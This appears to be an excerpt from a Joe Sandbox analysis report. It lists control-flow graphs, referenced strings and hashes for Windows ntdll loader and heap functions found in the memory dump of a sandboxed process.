                                                  control_flow_graph 1427 3579a670-3579a6e9 call 356d2410 * 2 RtlDebugPrintTimes 1433 3579a89f-3579a8c4 call 356d25b0 * 2 call 35704c30 1427->1433 1434 3579a6ef-3579a6fa 1427->1434 1436 3579a6fc-3579a709 1434->1436 1437 3579a724 1434->1437 1440 3579a70b-3579a70d 1436->1440 1441 3579a70f-3579a715 1436->1441 1438 3579a728-3579a734 1437->1438 1445 3579a741-3579a743 1438->1445 1440->1441 1443 3579a71b-3579a722 1441->1443 1444 3579a7f3-3579a7f5 1441->1444 1443->1438 1447 3579a81f-3579a821 1444->1447 1448 3579a745-3579a747 1445->1448 1449 3579a736-3579a73c 1445->1449 1453 3579a755-3579a77d RtlDebugPrintTimes 1447->1453 1454 3579a827-3579a834 1447->1454 1448->1447 1451 3579a74c-3579a750 1449->1451 1452 3579a73e 1449->1452 1456 3579a86c-3579a86e 1451->1456 1452->1445 1453->1433 1467 3579a783-3579a7a0 RtlDebugPrintTimes 1453->1467 1457 3579a85a-3579a866 1454->1457 1458 3579a836-3579a843 1454->1458 1456->1447 1459 3579a87b-3579a87d 1457->1459 1461 3579a84b-3579a851 1458->1461 1462 3579a845-3579a849 1458->1462 1465 3579a87f-3579a881 1459->1465 1466 3579a870-3579a876 1459->1466 1463 3579a96b-3579a96d 1461->1463 1464 3579a857 1461->1464 1462->1461 1468 3579a883-3579a889 1463->1468 1464->1457 1465->1468 1469 3579a878 1466->1469 1470 3579a8c7-3579a8cb 1466->1470 1467->1433 1475 3579a7a6-3579a7cc RtlDebugPrintTimes 1467->1475 1472 3579a88b-3579a89d RtlDebugPrintTimes 1468->1472 1473 3579a8d0-3579a8f4 RtlDebugPrintTimes 1468->1473 1469->1459 1471 3579a99f-3579a9a1 1470->1471 1472->1433 1473->1433 1479 3579a8f6-3579a913 RtlDebugPrintTimes 1473->1479 1475->1433 1480 3579a7d2-3579a7d4 1475->1480 1479->1433 1487 3579a915-3579a944 RtlDebugPrintTimes 1479->1487 1481 3579a7f7-3579a80a 1480->1481 1482 3579a7d6-3579a7e3 1480->1482 1486 3579a817-3579a819 1481->1486 1484 3579a7eb-3579a7f1 1482->1484 1485 3579a7e5-3579a7e9 1482->1485 1484->1444 1484->1481 1485->1484 1488 3579a81b-3579a81d 1486->1488 1489 3579a80c-3579a812 1486->1489 1487->1433 1493 3579a94a-3579a94c 1487->1493 1488->1447 1490 3579a868-3579a86a 1489->1490 1491 3579a814 1489->1491 1490->1456 1491->1486 1494 3579a94e-3579a95b 1493->1494 1495 3579a972-3579a985 1493->1495 1496 3579a95d-3579a961 1494->1496 1497 3579a963-3579a969 1494->1497 1498 3579a992-3579a994 1495->1498 1496->1497 1497->1463 1497->1495 1499 3579a987-3579a98d 1498->1499 1500 3579a996 1498->1500 1501 3579a99b-3579a99d 1499->1501 1502 3579a98f 1499->1502 1500->1465 1501->1471 1502->1498
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: HEAP:
                                                  • API String ID: 3446177414-2466845122
                                                  • Opcode ID: b4b2e896abbde2138a8ede14112ff03d74e4a8b60611127fb11644cafceee24a
                                                  • Instruction ID: c2b8e0ddacb4081d49e4f39b0b08bc23bc6a278f23cb10299f5e24485cecd897
                                                  • Opcode Fuzzy Hash: b4b2e896abbde2138a8ede14112ff03d74e4a8b60611127fb11644cafceee24a
                                                  • Instruction Fuzzy Hash: CCA1AA75A197028FD709CE18D894E9AB7E6FB88350F054929EC46DB310EB70EC02CBA1
                                                  Function 356F7630 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1503 356f7630-356f7651 1504 356f768b-356f7699 call 35704c30 1503->1504 1505 356f7653-356f766f call 356ce660 1503->1505 1510 356f7675-356f7682 1505->1510 1511 35734638 1505->1511 1512 356f769a-356f76a9 call 356f7818 1510->1512 1513 356f7684 1510->1513 1514 3573463f-35734645 1511->1514 1519 356f76ab-356f76c1 call 356f77cd 1512->1519 1520 356f7701-356f770a 1512->1520 1513->1504 1516 356f76c7-356f76d0 call 356f7728 1514->1516 1517 3573464b-357346b8 call 3574f290 call 35709020 RtlDebugPrintTimes BaseQueryModuleData 1514->1517 1516->1520 1528 356f76d2 1516->1528 1517->1516 1535 357346be-357346c6 1517->1535 1519->1514 1519->1516 1526 356f76d8-356f76e1 1520->1526 1530 356f770c-356f770e 1526->1530 1531 356f76e3-356f76f2 call 356f771b 1526->1531 1528->1526 1532 356f76f4-356f76f6 1530->1532 1531->1532 1537 356f76f8-356f76fa 1532->1537 1538 356f7710-356f7719 1532->1538 1535->1516 1539 357346cc-357346d3 1535->1539 1537->1513 1540 356f76fc 1537->1540 1538->1537 1539->1516 1541 357346d9-357346e4 1539->1541 1542 357347be-357347d0 call 35702c50 1540->1542 1544 357346ea-35734723 call 3574f290 call 3570aaa0 1541->1544 1545 357347b9 call 35704d48 1541->1545 1542->1513 1552 35734725-35734736 call 3574f290 1544->1552 1553 3573473b-3573476b call 3574f290 1544->1553 1545->1542 1552->1520 1553->1516 1558 35734771-3573477f call 3570a770 1553->1558 1561 35734781-35734783 1558->1561 1562 35734786-357347a3 call 3574f290 call 3573cf9e 1558->1562 1561->1562 1562->1516 1567 357347a9-357347b2 1562->1567 1567->1558 1568 357347b4 1567->1568 1568->1516
                                                  Strings
                                                  • CLIENT(ntdll): Processing section info %ws..., xrefs: 35734787
                                                  • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 35734655
                                                  • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 35734725
                                                  • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 357346FC
                                                  • ExecuteOptions, xrefs: 357346A0
                                                  • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 35734742
                                                  • Execute=1, xrefs: 35734713
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                  • API String ID: 0-484625025
                                                  • Opcode ID: ce10bd708f2ab6f4a90dd4f8d033f74cc900ac680cd15230beebffd0b1527d94
                                                  • Instruction ID: 0785511729b9655b0ab759619a581b76a008da724db63aa174e2b5ee3d064264
                                                  • Opcode Fuzzy Hash: ce10bd708f2ab6f4a90dd4f8d033f74cc900ac680cd15230beebffd0b1527d94
                                                  • Instruction Fuzzy Hash: 275115B5A002196AEF10DBA4DC89FAE77B9FF09311F4000E9D505AB191EB729E85CF51
                                                  Function 356DA250 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • RtlpFindActivationContextSection_CheckParameters, xrefs: 357279D0, 357279F5
                                                  • SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 357279D5
                                                  • Actx , xrefs: 35727A0C, 35727A73
                                                  • SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 357279FA
                                                  • SsHd, xrefs: 356DA3E4
                                                  • RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 35727AE6
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
                                                  • API String ID: 0-1988757188
                                                  • Opcode ID: dcbca26f4d796975f5746d241cbda4d1f3f7ef4e67afeb768d66a130a8c46031
                                                  • Instruction ID: c2a0f64895b4100aca282dfa090b80453e4e221bbfc9c5dde7f6895e2582bae8
                                                  • Opcode Fuzzy Hash: dcbca26f4d796975f5746d241cbda4d1f3f7ef4e67afeb768d66a130a8c46031
                                                  • Instruction Fuzzy Hash: BAE1BE7460C3418FE710CE2CC994B5AB7F2BB853A4F544A2DEC96CB690DB71D985CB82
                                                  Function 3573FD82 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
                                                  • API String ID: 3446177414-4227709934
                                                  • Opcode ID: 692f8108918ff43ea921df2f2f74add82937d34fb06020f2595613c073d32783
                                                  • Instruction ID: 07dc9921fd90c97fd1d727b89ff5e2caf0eafd914e1d22d246647bb0ce5ba2a2
                                                  • Opcode Fuzzy Hash: 692f8108918ff43ea921df2f2f74add82937d34fb06020f2595613c073d32783
                                                  • Instruction Fuzzy Hash: E04191B9A42208ABDB01DF95C881ADEBBB6FF48764F100059EC05AB342C7759D56CBD0
                                                  Function 356B65B5 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  • Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 35719AF6
                                                  • minkernel\ntdll\ldrinit.c, xrefs: 35719AC5, 35719B06
                                                  • LdrpLoadShimEngine, xrefs: 35719ABB, 35719AFC
                                                  • Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 35719AB4
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                  • API String ID: 3446177414-3589223738
                                                  • Opcode ID: 964681b0426bedf3b09e2dfdf2bc3e975c914c4876282efe63c85f4f45593bff
                                                  • Instruction ID: 93aacc44eaae97c39c35c9561125da493b7ac649f5a9ec850a5d88431637cef5
                                                  • Opcode Fuzzy Hash: 964681b0426bedf3b09e2dfdf2bc3e975c914c4876282efe63c85f4f45593bff
                                                  • Instruction Fuzzy Hash: EA512176B203589FDF14CBA9CC88E9D77B2BB40314F410165E812BF295DBB0AD82CB91
                                                  Function 356E9803 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 179timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: @3{5$LdrpUnloadNode$Unmapping DLL "%wZ"$df{5@3{5@3{5$minkernel\ntdll\ldrsnap.c
                                                  • API String ID: 3446177414-2491480217
                                                  • Opcode ID: fe64d072b56c89200bb76efabca084a22dc7b138e7f24d99af316bf7d7b75618
                                                  • Instruction ID: a003632165a3c50041d15e85e262b1fd9fbf3392eb5dfe9391e5b6462fe9c389
                                                  • Opcode Fuzzy Hash: fe64d072b56c89200bb76efabca084a22dc7b138e7f24d99af316bf7d7b75618
                                                  • Instruction Fuzzy Hash: EA51E1717077019FE714DF24CA84E2AB7F2BF84314F140A6DE8D59B690EBB0A845CB86
                                                  Function 356EDB00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
                                                  • API String ID: 3446177414-3224558752
                                                  • Opcode ID: 8600c3b45b75340fda9f0164ddeae06b251e0ad62199a7ef3ea4cb77816f06fb
                                                  • Instruction ID: 7151f321c8fdd65918029affbe8dcee791a298bae72c737ceccc4201cb2b7c7f
                                                  • Opcode Fuzzy Hash: 8600c3b45b75340fda9f0164ddeae06b251e0ad62199a7ef3ea4cb77816f06fb
                                                  • Instruction Fuzzy Hash: E54156B9A12744DFE701CF24C595B9AB3B6FF01360F1081ADD4015B7A1CBB4A881CB91
                                                  Function 3576F157 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  • Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 3576F263
                                                  • HEAP: , xrefs: 3576F15D
                                                  • Entry Heap Size , xrefs: 3576F26D
                                                  • ---------------------------------------, xrefs: 3576F279
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
                                                  • API String ID: 3446177414-1102453626
                                                  • Opcode ID: 4a956138aa009671031df86ff65af6b63cb19f13a2037fbd63ffa140e23313f6
                                                  • Instruction ID: 011af634dbdb3c6b1fa1de15f0eb2ebc664efe3a08ee3d7d3514f6c3ccf8bf22
                                                  • Opcode Fuzzy Hash: 4a956138aa009671031df86ff65af6b63cb19f13a2037fbd63ffa140e23313f6
                                                  • Instruction Fuzzy Hash: D0415939A20225DFCB04CF15D884D1ABBF7FB4939872581A9D809AF215DB71AC43CF90
                                                  Function 356EDBA0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
                                                  • API String ID: 3446177414-1222099010
                                                  • Opcode ID: 1bad635b2bacc1e5d851e1533b1fd2fb7c7e4fff264d5e71c0eacfbd0c0f2c4a
                                                  • Instruction ID: d6b920882a8b19e506106316e9c1199de0d64e369dd41f909eca112c78ff31a0
                                                  • Opcode Fuzzy Hash: 1bad635b2bacc1e5d851e1533b1fd2fb7c7e4fff264d5e71c0eacfbd0c0f2c4a
                                                  • Instruction Fuzzy Hash: 2B313679216784DFE712DB24C909F9A77F9FF02BA0F014099E4425B762CBF8A881CB51
                                                  Function 35796940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                  • Instruction ID: e1013784457f469e286ec80b1044d08ff1fccffc9a6afbba8e0549535cc02dff
                                                  • Opcode Fuzzy Hash: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                  • Instruction Fuzzy Hash: 060226B5608341AFD319CF19D494AABB7F6FFC4700F508A2DB9854B264DB31E905CBA2
                                                  Function 3570B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: __aulldvrm
                                                  • String ID: +$-$0$0
                                                  • API String ID: 1302938615-699404926
                                                  • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                  • Instruction ID: 58a4b4787130aa89bea70ca57d7fd282fcd408ce210863d6a8b122cb6fadf28b
                                                  • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                  • Instruction Fuzzy Hash: 2081C278E052498EEB04CE64C8987FEBBF3BF85358F54455AD899AF2D1C7709A408F50
                                                  Function 356C9126 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: $$@
                                                  • API String ID: 3446177414-1194432280
                                                  • Opcode ID: eddcd07a2dbf108eb069952ecb143cf965901b5a30b14792bfd181109a9f0073
                                                  • Instruction ID: 374685643a26a65ffe3b9059bbdc0fd808cc1bc8705d50838c8f70b47ab7d513
                                                  • Opcode Fuzzy Hash: eddcd07a2dbf108eb069952ecb143cf965901b5a30b14792bfd181109a9f0073
                                                  • Instruction Fuzzy Hash: 788129B6D102699BDB21CF54CC45BDEB7B8AF08750F0081EAA919B7640D7709E85CFA4
                                                  Function 356F4D1D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  • minkernel\ntdll\ldrsnap.c, xrefs: 35733640, 3573366C
                                                  • LdrpFindDllActivationContext, xrefs: 35733636, 35733662
                                                  • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 3573362F
                                                  • Querying the active activation context failed with status 0x%08lx, xrefs: 3573365C
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                                  • API String ID: 3446177414-3779518884
                                                  • Opcode ID: 79dd2f5bf4a4e94942f3aaaac28f98b4f31b2e36024b91116417a08924bb59e9
                                                  • Instruction ID: bd95eb8c8ded567ea987bea466eb95123fbc939d82ad0f9aa507bbfa20b8c4cb
                                                  • Opcode Fuzzy Hash: 79dd2f5bf4a4e94942f3aaaac28f98b4f31b2e36024b91116417a08924bb59e9
                                                  • Instruction Fuzzy Hash: 1D312A76D0C711AFEB21DF08C888F5573A5FB013A6F464066E80567E51EBA29CC0C7D6
                                                  Function 356E245A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 3572A992
                                                  • LdrpDynamicShimModule, xrefs: 3572A998
                                                  • minkernel\ntdll\ldrinit.c, xrefs: 3572A9A2
                                                  • TGi5, xrefs: 356E2462
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$TGi5$minkernel\ntdll\ldrinit.c
                                                  • API String ID: 0-3021217573
                                                  • Opcode ID: d8eed4330b60f4398f0367745938e2d267c2183affce4f841307e8ff9726865f
                                                  • Instruction ID: 4682a3e35c7ea2a81f797b66537ed653493e9b51183bd88841a889f9d053c07f
                                                  • Opcode Fuzzy Hash: d8eed4330b60f4398f0367745938e2d267c2183affce4f841307e8ff9726865f
                                                  • Instruction Fuzzy Hash: 3C311476A10301EFEB10DF59D984E5EB7B6FB84750F120169F9017B240DBF05982CB90
                                                  Function 357720E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: ___swprintf_l
                                                  • String ID: %%%u$[$]:%u
                                                  • API String ID: 48624451-2819853543
                                                  • Opcode ID: 9317a9a2cb175e304d325614f24ec619b89ed6a8654097521ec37bf7f836720d
                                                  • Instruction ID: f6b86027446f9b951a33cd73cb4f11febf30e5554d0eab7c699feb5984367a73
                                                  • Opcode Fuzzy Hash: 9317a9a2cb175e304d325614f24ec619b89ed6a8654097521ec37bf7f836720d
                                                  • Instruction Fuzzy Hash: 702162BAA10159ABDB00DF79DC44AFE77FAFF54690F540126E955EB200EB30DA018BA1
                                                  Function 356F7B2F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81timethreadCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes$BaseInitThreadThunk
                                                  • String ID: KBZQ
                                                  • API String ID: 4281723722-1115131186
                                                  • Opcode ID: ffa61c24fa93a71aa8496e6c6900607d7f9aa8f4e338e9d7e3dab7154d6ee012
